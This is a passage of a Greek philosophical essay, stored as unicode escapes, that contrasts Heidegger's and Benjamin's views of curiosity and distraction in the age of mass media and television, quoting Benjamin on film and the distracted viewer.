\u03ba\u03b1\u03b9 \u00ab\u03c4\u03bf\u03c5 \u03b2\u03ac\u03b8\u03bf\u03c5\u03c2 \u03c0\u03b5\u03b4\u03af\u03bf\u03c5\u00bb. \u038c\u03c4\u03b1\u03bd \u03cc\u03bb\u03b1 \u03c4\u03b1 \u03c0\u03c1\u03ac\u03b3\u03bc\u03b1\u03c4\u03b1\n\u03c3\u03c5\u03b3\u03ba\u03bb\u03af\u03bd\u03bf\u03c5\u03bd \u03c3\u03b5 \u03bc\u03b9\u03b1 \u03b1\u03b4\u03b9\u03b1\u03c6\u03bf\u03c1\u03bf\u03c0\u03bf\u03af\u03b7\u03c4\u03b7 \u03b5\u03b3\u03b3\u03cd\u03c4\u03b7\u03c4\u03b1, \u03b4\u03b5\u03bd \u03c5\u03c0\u03ac\u03c1\u03c7\u03b5\u03b9 \u03c0\u03bb\u03ad\u03bf\u03bd \u03ad\u03bd\u03b1 \u03c3\u03c4\u03b1\u03b8\u03b5\u03c1\u03cc\n\u03ba\u03ad\u03bd\u03c4\u03c1\u03bf \u03b1\u03c0\u03cc \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03bd\u03b1 \u03c4\u03b1 \u03c0\u03b1\u03c1\u03b1\u03c4\u03b7\u03c1\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5. \u0397 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1 \u03bc\u03bf\u03b9\u03ac\u03b6\u03b5\u03b9 \u03bc\u03b5 \u03ad\u03bd\u03b1\n\u03b9\u03c0\u03c4\u03ac\u03bc\u03b5\u03bd\u03bf \u03c7\u03b1\u03bb\u03af \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf, \u03b4\u03c1\u03b1\u03c0\u03b5\u03c4\u03b5\u03cd\u03bf\u03bd\u03c4\u03b1\u03c2 \u03b1\u03c0\u03cc \u03c4\u03b7 \u03b4\u03cd\u03bd\u03b1\u03bc\u03b7 \u03c4\u03b7\u03c2 \u03b2\u03b1\u03c1\u03cd\u03c4\u03b7\u03c4\u03b1\u03c2,\n\u03c0\u03b5\u03c1\u03b9\u03c6\u03ad\u03c1\u03b5\u03c4\u03b1\u03b9 \u03c3\u03b5 \u03c7\u03b1\u03bc\u03b7\u03bb\u03cc \u03cd\u03c8\u03bf\u03c2 \u03c0\u03ac\u03bd\u03c9 \u03b1\u03c0\u03cc \u03c4\u03bf \u03c0\u03bf\u03bb\u03cd\u03c7\u03c1\u03c9\u03bc\u03bf \u03c0\u03bb\u03ae\u03b8\u03bf\u03c2 \u03c4\u03c9\u03bd \u03c6\u03b1\u03b9\u03bd\u03bf\u03bc\u03ad\u03bd\u03c9\u03bd.\n\u03a7\u03c9\u03c1\u03af\u03c2 \u03c3\u03c4\u03b1\u03b8\u03b5\u03c1\u03ae \u03ba\u03b1\u03c4\u03bf\u03b9\u03ba\u03af\u03b1, \u03b5\u03af\u03bd\u03b1\u03b9 \u03ba\u03b1\u03c4\u03b1\u03b4\u03b9\u03ba\u03b1\u03c3\u03bc\u03ad\u03bd\u03b7 \u03c3\u03b5 \u03ad\u03bd\u03b1\u03bd \u03b1\u03ba\u03b1\u03c4\u03ac\u03c0\u03b1\u03c5\u03c3\u03c4\u03bf \u03bd\u03bf\u03bc\u03b1\u03b4\u03b9\u03c3\u03bc\u03cc:\n\u00ab\u03b1\u03bd\u03b1\u03b6\u03b7\u03c4\u03ac \u03c4\u03b7\u03bd \u03ba\u03b1\u03b9\u03bd\u03bf\u03c4\u03bf\u03bc\u03af\u03b1 \u03bc\u03cc\u03bd\u03bf \u03c9\u03c2 \u03b5\u03c6\u03b1\u03bb\u03c4\u03ae\u03c1\u03b9\u03bf \u03b3\u03b9\u03b1 \u03bc\u03b9\u03b1 \u03ac\u03bb\u03bb\u03b7 \u03ba\u03b1\u03b9\u03bd\u03bf\u03c4\u03bf\u03bc\u03af\u03b1\u00bb,\n\u03b5\u03c0\u03b9\u03b4\u03b5\u03b9\u03ba\u03bd\u03cd\u03bf\u03bd\u03c4\u03b1\u03c2 \u00ab\u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03b7\u03c1\u03b9\u03c3\u03c4\u03b9\u03ba\u03ae \u03b1\u03bd\u03b9\u03ba\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03bd\u03b1 \u03c3\u03c4\u03b1\u03b8\u03b5\u03af \u03c3\u03b5 \u03b1\u03c5\u03c4\u03cc \u03c0\u03bf\u03c5\n\u03b5\u03bc\u03c6\u03b1\u03bd\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03ba\u03ac\u03b8\u03b5 \u03c6\u03bf\u03c1\u03ac\u00bb. \u039f \u039c\u03c0\u03ad\u03bd\u03b3\u03b9\u03b1\u03bc\u03b9\u03bd, \u03b1\u03bd\u03c4\u03af\u03b8\u03b5\u03c4\u03b1, \u03c5\u03c0\u03bf\u03c3\u03c4\u03b7\u03c1\u03af\u03b6\u03b5\u03b9 \u03cc\u03c4\u03b9 \u03b7\n\u03c0\u03c1\u03bf\u03c3\u03ad\u03b3\u03b3\u03b9\u03c3\u03b7 \u03c0\u03c1\u03bf\u03c2 \u03c4\u03bf\u03bd \u03ba\u03cc\u03c3\u03bc\u03bf, \u03c4\u03b7\u03bd \u03bf\u03c0\u03bf\u03af\u03b1 \u03b5\u03c0\u03b9\u03c4\u03c1\u03ad\u03c0\u03b5\u03b9 \u03b7 \u03c4\u03b5\u03c7\u03bd\u03b9\u03ba\u03ae\n\u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03b9\u03bc\u03cc\u03c4\u03b7\u03c4\u03b1, \u03b4\u03b9\u03b5\u03c5\u03c1\u03cd\u03bd\u03b5\u03b9 \u03ba\u03b1\u03b9 \u03b5\u03bc\u03c0\u03bb\u03bf\u03c5\u03c4\u03af\u03b6\u03b5\u03b9 \u03c4\u03b9\u03c2 \u03b1\u03bd\u03b8\u03c1\u03ce\u03c0\u03b9\u03bd\u03b5\u03c2 \u03b1\u03bd\u03c4\u03b9\u03bb\u03b7\u03c0\u03c4\u03b9\u03ba\u03ad\u03c2\n\u03b9\u03ba\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2. \u0397 \u03c0\u03b5\u03c1\u03b9\u03c0\u03bb\u03b1\u03bd\u03ce\u03bc\u03b5\u03bd\u03b7 \u03cc\u03c1\u03b1\u03c3\u03b7 \u03b4\u03b5\u03bd \u03c0\u03b5\u03c1\u03b9\u03bf\u03c1\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03c3\u03c4\u03bf \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03b5\u03b9\n\u03c0\u03b1\u03b8\u03b7\u03c4\u03b9\u03ba\u03ac \u03ad\u03bd\u03b1 \u03b4\u03b5\u03b4\u03bf\u03bc\u03ad\u03bd\u03bf \u03b8\u03ad\u03b1\u03bc\u03b1, \u03b1\u03bb\u03bb\u03ac, \u03b1\u03c0\u03bf\u03c6\u03b1\u03c3\u03af\u03b6\u03bf\u03bd\u03c4\u03b1\u03c2 \u03ba\u03ac\u03b8\u03b5 \u03c6\u03bf\u03c1\u03ac \u03b1\u03c0' \u03c4\u03b7\u03bd \u03b1\u03c1\u03c7\u03ae \u03c4\u03b9\n\u03b1\u03be\u03af\u03b6\u03b5\u03b9 \u03bd\u03b1 \u03ad\u03c1\u03b8\u03b5\u03b9 \u03c3\u03c4\u03bf \u03c0\u03c1\u03ce\u03c4\u03bf \u03c0\u03bb\u03ac\u03bd\u03bf \u03ba\u03b1\u03b9 \u03c4\u03b9 \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03c3\u03c4\u03b1\u03bb\u03b5\u03af \u03c3\u03c4\u03bf \u03b2\u03ac\u03b8\u03bf\u03c2 \u03c0\u03b5\u03b4\u03af\u03bf\u03c5,\n\u03b1\u03c3\u03ba\u03b5\u03af \u03bc\u03b9\u03b1 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1. \u03a4\u03b1 \u039c\u039c\u0395, \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1 \u03c3\u03c4\u03b7 \u03bd\u03b9\u03bf\u03c3\u03c4\u03ae \u03b4\u03cd\u03bd\u03b1\u03bc\u03b7,\n\u03b5\u03ba\u03b3\u03c5\u03bc\u03bd\u03ac\u03b6\u03bf\u03c5\u03bd \u03c4\u03b9\u03c2 \u03b1\u03b9\u03c3\u03b8\u03ae\u03c3\u03b5\u03b9\u03c2 \u03bd\u03b1 \u03b8\u03b5\u03c9\u03c1\u03bf\u03cd\u03bd \u03c4\u03bf \u03b3\u03bd\u03c9\u03c3\u03c4\u03cc \u03c3\u03b1\u03bd \u03bd\u03b1 \u03ae\u03c4\u03b1\u03bd \u03ac\u03b3\u03bd\u03c9\u03c3\u03c4\u03bf, \u03b4\u03b7\u03bb\u03b1\u03b4\u03ae\n\u03bd\u03b1 \u03b4\u03b9\u03b1\u03b2\u03bb\u03ad\u03c0\u03bf\u03c5\u03bd \u00ab\u03ad\u03bd\u03b1 \u03c4\u03b5\u03c1\u03ac\u03c3\u03c4\u03b9\u03bf \u03ba\u03b1\u03b9 \u03b1\u03c0\u03c1\u03cc\u03b2\u03bb\u03b5\u03c0\u03c4\u03bf \u03c0\u03b5\u03c1\u03b9\u03b8\u03ce\u03c1\u03b9\u03bf \u03b5\u03bb\u03b5\u03c5\u03b8\u03b5\u03c1\u03af\u03b1\u03c2\u00bb \u03b1\u03ba\u03cc\u03bc\u03b1 \u03ba\u03b1\u03b9\n\u03c3\u03c4\u03b9\u03c2 \u03c0\u03b9\u03bf \u03c4\u03b5\u03c4\u03c1\u03b9\u03bc\u03bc\u03ad\u03bd\u03b5\u03c2 \u03ba\u03b1\u03b9 \u03b5\u03c0\u03b1\u03bd\u03b1\u03bb\u03b7\u03c0\u03c4\u03b9\u03ba\u03ad\u03c2 \u03c0\u03c4\u03c5\u03c7\u03ad\u03c2 \u03c4\u03b7\u03c2 \u03ba\u03b1\u03b8\u03b7\u03bc\u03b5\u03c1\u03b9\u03bd\u03ae\u03c2 \u03b5\u03bc\u03c0\u03b5\u03b9\u03c1\u03af\u03b1\u03c2.\n\u0391\u03bb\u03bb\u03ac, \u03c3\u03c5\u03b3\u03c7\u03c1\u03cc\u03bd\u03c9\u03c2, \u03b5\u03ba\u03b3\u03c5\u03bc\u03bd\u03ac\u03b6\u03bf\u03c5\u03bd \u03c4\u03b9\u03c2 \u03b1\u03b9\u03c3\u03b8\u03ae\u03c3\u03b5\u03b9\u03c2 \u03bd\u03b1 \u03ba\u03ac\u03bd\u03bf\u03c5\u03bd \u03ba\u03b1\u03b9 \u03c4\u03bf \u03b1\u03bd\u03c4\u03af\u03b8\u03b5\u03c4\u03bf: \u03bd\u03b1\n\u03b8\u03b5\u03c9\u03c1\u03bf\u03cd\u03bd \u03c4\u03bf \u03ac\u03b3\u03bd\u03c9\u03c3\u03c4\u03bf \u03c3\u03b1\u03bd \u03bd\u03b1 \u03ae\u03c4\u03b1\u03bd \u03b3\u03bd\u03c9\u03c3\u03c4\u03cc, \u03bd\u03b1 \u03b1\u03c0\u03bf\u03ba\u03c4\u03bf\u03cd\u03bd \u03bf\u03b9\u03ba\u03b5\u03b9\u03cc\u03c4\u03b7\u03c4\u03b1 \u03bc\u03b5 \u03c4\u03bf\n\u03b1\u03c0\u03c1\u03bf\u03c3\u03b4\u03cc\u03ba\u03b7\u03c4\u03bf \u03ba\u03b1\u03b9 \u03bc\u03b5 \u03c4\u03b7\u03bd \u03ad\u03ba\u03c0\u03bb\u03b7\u03be\u03b7, \u03bd\u03b1 \u03c3\u03c5\u03bd\u03b7\u03b8\u03af\u03b6\u03bf\u03c5\u03bd \u03c3\u03c4\u03b7\u03bd \u03ad\u03bb\u03bb\u03b5\u03b9\u03c8\u03b7 \u03c3\u03c4\u03b1\u03b8\u03b5\u03c1\u03ce\u03bd\n\u03c3\u03c5\u03bd\u03b7\u03b8\u03b5\u03b9\u03ce\u03bd. \u0393\u03b9\u03b1 \u03bd\u03b1 \u03b4\u03bf\u03cd\u03bc\u03b5 \u03c3\u03c4\u03b7\u03bd \u03c4\u03b7\u03bb\u03b5\u03bf\u03c0\u03c4\u03b9\u03ba\u03ae \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1 \u03bc\u03b9\u03b1 \u03c0\u03b1\u03c1\u03ac\u03b4\u03bf\u03be\u03b7 \u03bc\u03bf\u03c1\u03c6\u03ae\n\u00ab\u03b8\u03b5\u03c9\u03c1\u03b7\u03c4\u03b9\u03ba\u03bf\u03cd \u03b2\u03af\u03bf\u03c5\u00bb, \u03b5\u03af\u03bd\u03b1\u03b9 \u03b1\u03c0\u03b1\u03c1\u03b1\u03af\u03c4\u03b7\u03c4\u03bf \u03bd\u03b1 \u03ba\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03ad\u03bd\u03b1 \u03b1\u03ba\u03cc\u03bc\u03b7 \u03b2\u03ae\u03bc\u03b1 \u03ba\u03b1\u03b9 \u03bd\u03b1\n\u03c0\u03c1\u03bf\u03c3\u03b4\u03b9\u03bf\u03c1\u03af\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c0\u03bf\u03b9\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b7 \u03b5\u03b9\u03b4\u03bf\u03c0\u03bf\u03b9\u03cc\u03c2 \u03c8\u03c5\u03c7\u03b9\u03ba\u03ae \u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03c0\u03bf\u03c5 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03b7\u03c1\u03af\u03b6\u03b5\u03b9\n\u03b1\u03c5\u03c4\u03ae \u03c4\u03b7 \u03b8\u03b5\u03ce\u03c1\u03b7\u03c3\u03b7. \u039f \u03c0\u03b5\u03c1\u03af\u03b5\u03c1\u03b3\u03bf\u03c2 \u03ba\u03bf\u03b9\u03c4\u03ac\u03b6\u03b5\u03b9, \u03bc\u03b1\u03b8\u03b1\u03af\u03bd\u03b5\u03b9, \u03b4\u03bf\u03ba\u03b9\u03bc\u03ac\u03b6\u03b5\u03b9 \u03cc\u03bb\u03b1 \u03c4\u03b1\n\u03c0\u03c1\u03ac\u03b3\u03bc\u03b1\u03c4\u03b1, \u03c7\u03c9\u03c1\u03af\u03c2 \u03cc\u03bc\u03c9\u03c2 \u03bd\u03b1 \u03c4\u03bf\u03c5\u03c2 \u03b4\u03af\u03bd\u03b5\u03b9 \u03c0\u03c1\u03bf\u03c3\u03bf\u03c7\u03ae. \u0395\u03af\u03bd\u03b1\u03b9 \u03b1\u03b9\u03c9\u03bd\u03af\u03c9\u03c2 \u03b1\u03c6\u03b7\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c2. \u03a3\u03c4\u03bf\n\u03c6\u03b1\u03b9\u03bd\u03cc\u03bc\u03b5\u03bd\u03bf \u03c4\u03b7\u03c2 \u03b1\u03c6\u03b7\u03c1\u03b7\u03bc\u03ac\u03b4\u03b1\u03c2 \u03c3\u03c4\u03ad\u03ba\u03bf\u03bd\u03c4\u03b1\u03b9, \u03ba\u03b1\u03b9 \u03c0\u03ac\u03bb\u03b9 \u03ba\u03b1\u03c4\u03ac \u03c4\u03c1\u03cc\u03c0\u03bf \u03c0\u03b1\u03c1\u03ac\u03bb\u03bb\u03b7\u03bb\u03bf \u03c0\u03bb\u03b7\u03bd\n\u03cc\u03bc\u03c9\u03c2 \u03b1\u03bd\u03c4\u03b9\u03b8\u03b5\u03c4\u03b9\u03ba\u03cc, \u03c4\u03cc\u03c3\u03bf \u03bf \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1 \u03cc\u03c3\u03bf \u03ba\u03b1\u03b9 \u03bf \u039c\u03c0\u03ad\u03bd\u03b3\u03b9\u03b1\u03bc\u03b9\u03bd. \u0393\u03b9\u03b1 \u03c4\u03bf\u03bd\n\u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1, \u03b7 \u03b1\u03c6\u03b7\u03c1\u03b7\u03bc\u03ac\u03b4\u03b1, \u03b1\u03c5\u03c4\u03cc \u03c4\u03bf \u03b1\u03bd\u03b1\u03c0\u03cc\u03c6\u03b5\u03c5\u03ba\u03c4\u03bf \u03c3\u03cd\u03c3\u03c4\u03bf\u03b9\u03c7\u03bf \u03c4\u03b7\u03c2 \u03b1\u03c3\u03af\u03b3\u03b1\u03c3\u03c4\u03b7\u03c2\n\u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1\u03c2, \u03b5\u03af\u03bd\u03b1\u03b9 \u03b7 \u03c0\u03c1\u03bf\u03c6\u03b1\u03bd\u03ae\u03c2 \u03b1\u03c0\u03cc\u03b4\u03b5\u03b9\u03be\u03b7 \u03bc\u03b9\u03b1\u03c2 \u03c0\u03bb\u03ae\u03c1\u03bf\u03c5\u03c2 \u03b5\u03ba\u03c1\u03af\u03b6\u03c9\u03c3\u03b7\u03c2 \u03ba\u03b1\u03b9 \u03bc\u03b9\u03b1\u03c2\n\u03c0\u03bb\u03ae\u03c1\u03bf\u03c5\u03c2 \u03ad\u03bb\u03bb\u03b5\u03b9\u03c8\u03b7\u03c2 \u03b1\u03c5\u03b8\u03b5\u03bd\u03c4\u03b9\u03ba\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2. \u0391\u03c6\u03b7\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b1\u03c5\u03c4\u03cc\u03c2 \u03c0\u03bf\u03c5 \u03b1\u03ba\u03bf\u03bb\u03bf\u03c5\u03b8\u03b5\u03af\n\u03c0\u03ac\u03bd\u03c4\u03bf\u03c4\u03b5 \u03b4\u03b9\u03b1\u03c6\u03bf\u03c1\u03b5\u03c4\u03b9\u03ba\u03ad\u03c2, \u03b1\u03bb\u03bb\u03ac \u03b9\u03c3\u03bf\u03b4\u03cd\u03bd\u03b1\u03bc\u03b5\u03c2 \u03ba\u03b1\u03b9 \u03b5\u03bd\u03b1\u03bb\u03bb\u03ac\u03be\u03b9\u03bc\u03b5\u03c2 \u03b4\u03c5\u03bd\u03b1\u03c4\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2\u00b7 \u03b1\u03c5\u03c4\u03cc\u03c2\n\u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 \u03c0\u03b1\u03bd\u03c4\u03bf\u03cd \u03ba\u03b1\u03b9 \u03c0\u03bf\u03c5\u03b8\u03b5\u03bd\u03ac\u00b7 \u03b1\u03c5\u03c4\u03cc\u03c2 \u03c0\u03bf\u03c5 \u03b4\u03b5\u03bd \u03b1\u03bd\u03b1\u03bc\u03ad\u03bd\u03b5\u03b9 \u03c4\u03af\u03c0\u03bf\u03c4\u03b1 \u03bc\u03b5 \u03c4\u03b7\u03bd \u03b4\u03ad\u03bf\u03c5\u03c3\u03b1\n\u03c0\u03c1\u03bf\u03c3\u03ae\u03bb\u03c9\u03c3\u03b7. \u039f \u039c\u03c0\u03ad\u03bd\u03b3\u03b9\u03b1\u03bc\u03b9\u03bd, \u03b1\u03bd\u03c4\u03af\u03b8\u03b5\u03c4\u03b1, \u03b5\u03b3\u03ba\u03c9\u03bc\u03b9\u03ac\u03b6\u03b5\u03b9 \u03b1\u03c0\u03b5\u03c1\u03af\u03c6\u03c1\u03b1\u03c3\u03c4\u03b1 \u03c4\u03b7\u03bd \u03b1\u03c6\u03b7\u03c1\u03b7\u03bc\u03ac\u03b4\u03b1,\n\u03b4\u03b9\u03b1\u03ba\u03c1\u03af\u03bd\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c3\u03b5 \u03b1\u03c5\u03c4\u03ae\u03bd \u03c4\u03bf\u03bd \u03b1\u03c0\u03bf\u03c4\u03b5\u03bb\u03b5\u03c3\u03bc\u03b1\u03c4\u03b9\u03ba\u03cc\u03c4\u03b5\u03c1\u03bf \u03c4\u03c1\u03cc\u03c0\u03bf \u03c5\u03c0\u03bf\u03b4\u03bf\u03c7\u03ae\u03c2 \u03bc\u03b9\u03b1\u03c2 \u03c4\u03b5\u03c7\u03bd\u03b7\u03c4\u03ae\u03c2\n\u03b5\u03bc\u03c0\u03b5\u03b9\u03c1\u03af\u03b1\u03c2 (\u03c9\u03c2 \u03c4\u03b5\u03c7\u03bd\u03b9\u03ba\u03ac \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03b3\u03ce\u03b3\u03b9\u03bc\u03b7\u03c2). \u0393\u03c1\u03ac\u03c6\u03b5\u03b9 \u03bf \u039c\u03c0\u03ad\u03bd\u03b3\u03b9\u03b1\u03bc\u03b9\u03bd: \u00ab\u039c\u03ad\u03c3\u03c9 \u03c4\u03b7\u03c2\n\u03b1\u03c6\u03b7\u03c1\u03b7\u03bc\u03ac\u03b4\u03b1\u03c2 (...), \u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03bc\u03b5 \u03bd\u03b1 \u03b5\u03bb\u03ad\u03b3\u03c7\u03bf\u03c5\u03bc\u03b5 \u03bb\u03b1\u03b8\u03c1\u03b1\u03af\u03b1 \u03c3\u03b5 \u03c0\u03bf\u03b9\u03bf \u03b2\u03b1\u03b8\u03bc\u03cc \u03b7 \u03b1\u03bd\u03c4\u03af\u03bb\u03b7\u03c8\u03ae\n\u03bc\u03b1\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9 \u03c3\u03b5 \u03b8\u03ad\u03c3\u03b7 \u03bd\u03b1 \u03b5\u03ba\u03c0\u03bb\u03b7\u03c1\u03ce\u03bd\u03b5\u03b9 \u03bd\u03ad\u03b1 \u03ba\u03b1\u03b8\u03ae\u03ba\u03bf\u03bd\u03c4\u03b1 (...). \u039f \u03ba\u03b9\u03bd\u03b7\u03bc\u03b1\u03c4\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2\n\u03c5\u03c0\u03bf\u03b2\u03b1\u03b8\u03bc\u03af\u03b6\u03b5\u03b9 \u03c4\u03bf \u03bb\u03b1\u03c4\u03c1\u03b5\u03c5\u03c4\u03b9\u03ba\u03cc \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1 [\u03b4\u03b7\u03bb\u03b1\u03b4\u03ae \u03c4\u03b7 \u03bb\u03b1\u03c4\u03c1\u03b5\u03af\u03b1 \u03b3\u03b9\u03b1 \u03c4\u03bf \u03ad\u03c1\u03b3\u03bf \u03c4\u03ad\u03c7\u03bd\u03b7\u03c2\n\u03b8\u03b5\u03c9\u03c1\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf \u03c9\u03c2 \u03ba\u03ac\u03c4\u03b9 \u03bc\u03bf\u03bd\u03b1\u03b4\u03b9\u03ba\u03cc] \u03cc\u03c7\u03b9 \u03bc\u03cc\u03bd\u03bf \u03b5\u03c0\u03b5\u03b9\u03b4\u03ae \u03bf\u03b4\u03b7\u03b3\u03b5\u03af \u03c4\u03bf \u03ba\u03bf\u03b9\u03bd\u03cc \u03c3\u03b5 \u03bc\u03af\u03b1 \u03c3\u03c4\u03ac\u03c3\u03b7\n\u03b1\u03be\u03b9\u03bf\u03bb\u03cc\u03b3\u03b7\u03c3\u03b7\u03c2, \u03b1\u03bb\u03bb\u03ac \u03ba\u03b1\u03b9 \u03bb\u03cc\u03b3\u03c9 \u03c4\u03bf\u03c5 \u03b3\u03b5\u03b3\u03bf\u03bdo\u03c4\u03bf\u03c2 o\u03c4\u03b9, \u03c3\u03c4\u03bf\u03bd \u03ba\u03b9\u03bd\u03b7\u03bc\u03b1\u03c4\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf, \u03b1\u03c5\u03c4\u03ae \u03b7\n\u03c3\u03c4\u03ac\u03c3\u03b7 \u03b1\u03be\u03b9\u03bf\u03bb\u03cc\u03b3\u03b7\u03c3\u03b7\u03c2 \u03b4\u03b5\u03bd \u03b1\u03c0\u03b1\u03b9\u03c4\u03b5\u03af \u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c3\u03bf\u03c7\u03ae. \u03a4\u03bf \u03ba\u03bf\u03b9\u03bd\u03cc \u03b5\u03af\u03bd\u03b1\u03b9 \u03ad\u03bd\u03b1\u03c2 \u03b5\u03be\u03b5\u03c4\u03b1\u03c3\u03c4\u03ae\u03c2,\n\u03b1\u03bb\u03bb\u03ac \u03ad\u03bd\u03b1\u03c2 \u03b5\u03be\u03b5\u03c4\u03b1\u03c3\u03c4\u03ae\u03c2 \u03b1\u03c6\u03b7\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c2\u00bb. \u03a0\u03c1\u03bf\u03c6\u03b1\u03bd\u03ce\u03c2 \u03b7 \u03b1\u03c6\u03b7\u03c1\u03b7\u03bc\u03ac\u03b4\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03ad\u03bd\u03b1 \u03b5\u03bc\u03c0\u03cc\u03b4\u03b9\u03bf\n\u03ba\u03b1\u03b9 \u03ad\u03bd\u03b1 \u03cc\u03c1\u03b9\u03bf \u03b3\u03b9\u03b1 \u03c4\u03b7 \u03b4\u03b9\u03b1\u03bd\u03bf\u03b7\u03c4\u03b9\u03ba\u03ae \u03bc\u03ac\u03b8\u03b7\u03c3\u03b7. \u0397 \u00ab\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03c4\u03b7\u03c2 \u03ad\u03bd\u03bd\u03bf\u03b9\u03b1\u03c2\u00bb \u03b1\u03c0\u03b1\u03b9\u03c4\u03b5\u03af \u03bc\u03af\u03b1\n\u03ac\u03b3\u03c1\u03c5\u03c0\u03bd\u03b7 \u03c0\u03c1\u03bf\u03c3\u03bf\u03c7\u03ae, \u03bc\u03af\u03b1 \u03c0\u03c1\u03bf\u03bb\u03b7\u03c0\u03c4\u03b9\u03ba\u03ae \u03b1\u03c0\u03cc\u03c3\u03c0\u03b1\u03c3\u03b7 \u03b1\u03c0\u03cc \u03ba\u03ac\u03b8\u03b5 \u03c4\u03b9 \u03c0\u03bf\u03c5 \u03bc\u03c0\u03bf\u03c1\u03b5\u03af \u03bd\u03b1 \u03bc\u03b1\u03c2\n\u03b1\u03c0\u03bf\u03c3\u03c0\u03ac\u03c3\u03b5\u03b9. \u03a4\u03b1 \u03c0\u03c1\u03ac\u03b3\u03bc\u03b1\u03c4\u03b1 \u03b1\u03bb\u03bb\u03ac\u03b6\u03bf\u03c5\u03bd \u03c1\u03b9\u03b6\u03b9\u03ba\u03ac \u03cc\u03c4\u03b1\u03bd \u03bc\u03c0\u03b1\u03af\u03bd\u03b5\u03b9 \u03c3\u03c4\u03bf \u03c0\u03b1\u03b9\u03c7\u03bd\u03af\u03b4\u03b9 \u03b7\n\u03b1\u03b9\u03c3\u03b8\u03b7\u03c4\u03b7\u03c1\u03b9\u03b1\u03ba\u03ae \u03bc\u03ac\u03b8\u03b7\u03c3\u03b7: \u03b1\u03c5\u03c4\u03ae \u03b5\u03c5\u03bd\u03bf\u03b5\u03af\u03c4\u03b1\u03b9, \u03ba\u03b1\u03b9 \u03bc\u03ac\u03bb\u03b9\u03c3\u03c4\u03b1 \u03b5\u03bd\u03b9\u03c3\u03c7\u03cd\u03b5\u03c4\u03b1\u03b9, \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd\n\u03b1\u03c6\u03b7\u03c1\u03b7\u03bc\u03ac\u03b4\u03b1\u00b7 \u03c0\u03c1\u03bf\u03cb\u03c0\u03bf\u03b8\u03ad\u03c4\u03b5\u03b9 \u03ad\u03bd\u03b1\u03bd \u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf \u03b2\u03b1\u03b8\u03bc\u03cc \u03b4\u03b9\u03b1\u03c3\u03c0\u03bf\u03c1\u03ac\u03c2 \u03ba\u03b1\u03b9 \u03b1\u03c3\u03c4\u03ac\u03b8\u03b5\u03b9\u03b1\u03c2. \u0397\n\u03c4\u03b7\u03bb\u03b5\u03bf\u03c0\u03c4\u03b9\u03ba\u03ae \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b1\u03b9\u03c3\u03b8\u03b7\u03c4\u03b7\u03c1\u03b9\u03b1\u03ba\u03ae \u03b5\u03ba\u03bc\u03ac\u03b8\u03b7\u03c3\u03b7 \u03c4\u03b5\u03c7\u03bd\u03b1\u03c3\u03bc\u03ac\u03c4\u03c9\u03bd \u03c4\u03b5\u03c7\u03bd\u03b9\u03ba\u03ac\n\u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03b3\u03ce\u03b3\u03b9\u03bc\u03c9\u03bd, \u03ac\u03bc\u03b5\u03c3\u03b7 \u03b1\u03bd\u03c4\u03af\u03bb\u03b7\u03c8\u03b7 \u03b4\u03b9\u03b1\u03bd\u03bf\u03b7\u03c4\u03b9\u03ba\u03ce\u03bd \u03c0\u03c1\u03bf\u03ca\u03cc\u03bd\u03c4\u03c9\u03bd, \u03c3\u03c9\u03bc\u03b1\u03c4\u03b9\u03ba\u03ae 